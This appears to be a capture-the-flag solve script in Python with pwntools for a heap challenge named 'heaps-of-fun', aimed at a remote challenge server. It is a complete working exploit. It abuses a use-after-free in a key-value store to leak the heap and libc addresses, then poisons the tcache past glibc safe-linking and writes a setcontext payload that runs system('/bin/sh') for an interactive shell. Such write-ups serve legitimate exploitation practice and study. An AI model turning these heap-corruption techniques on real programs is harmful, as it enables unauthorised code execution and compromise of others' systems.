#heaps-of-fun

from pwn import *
from setcontext32 import *

libc = ELF("./lib/libc.so.6")

name = "../chal/chal"
context.terminal = ["kitty"]
gdbscript = """
c
"""
delim = b">>> "

if args.GDB:
    p = gdb.debug(name, gdbscript=gdbscript)
if args.REMOTE:
    p = remote("chal.amt.rs", 1346)
else:
    p = process(name)

class Line:
    def __init__(self, size: int, data: bytes = b""):
        self.size = size
        self.data = data

def create_key_value(idx: int, key: Line, val: Line):
    p.sendlineafter(delim, b"1")
    p.sendlineafter(delim, f"{idx}".encode())
    p.sendlineafter(delim, f"{key.size}".encode())
    p.sendlineafter(delim, key.data.ljust(key.size, b"\x00"))
    p.sendlineafter(delim, f"{val.size}".encode())
    p.sendlineafter(delim, val.data.ljust(val.size, b"\x00"))
    return idx

def delete_key_value(idx: int):
    p.sendlineafter(delim, b"4")
    p.sendlineafter(delim, f"{idx}".encode())

def delete_key_values(idxs: list[int]):
    list(map(delete_key_value, idxs))

def decode(data: bytes):
    result = b""
    while len(data):
        if data.startswith(b"\\x"):
            result += p8(int(data[2:4], 16))
            data = data[4:]
        else:
            result += p8(data[0])
            data = data[1:]
    return result

def read_key_value(idx: int):
    p.sendlineafter(delim, b"3")
    p.sendlineafter(delim, f"{idx}".encode())
    p.recvuntil(b" = ")
    key = decode(p.recvline(keepends=False))
    p.recvuntil(b" = ")
    val = decode(p.recvline(keepends=False))
    return key, val

def update_key_value(idx: int, new: bytes):
    p.sendlineafter(delim, b"2")
    p.sendlineafter(delim, f"{idx}".encode())
    p.sendlineafter(delim, new)

create_key_value(0, Line(0x57), Line(0x57))
delete_key_value(0)
key, val = read_key_value(0)

heapbase = u64(key[:8]) << 12
log.info(f"heapbase = {heapbase:#x}")

# unsorted size
for i in range(4):
    create_key_value(i, Line(0x100), Line(0x100))

# padding
create_key_value(6, Line(0x47), Line(0x47))

# get chunk in unsorted
delete_key_values([0, 1, 2, 3])

key, val = read_key_value(3)
libcbase = u64(val[:8]) - 0x21ace0
libc.address = libcbase

log.info(f"libcbase = {libcbase:#x}")

create_key_value(0, Line(0x300), Line(0x300))
# get two 0x310 sized chunks in tcache
delete_key_value(0)

addr, payload = setcontext32(libc, rip=libc.sym.system, rdi=next(libc.search(b"/bin/sh")))
# edit chunk to point to payload location
update_key_value(0, p64(addr ^ (heapbase >> 12)))

# write setcontext payload
create_key_value(0, Line(0x300), Line(0x300, payload))

p.interactive()